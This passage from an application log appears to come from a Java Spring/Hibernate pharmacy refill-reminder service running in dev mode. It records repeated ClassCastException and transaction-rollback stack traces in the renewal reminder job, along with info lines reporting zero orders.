org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: 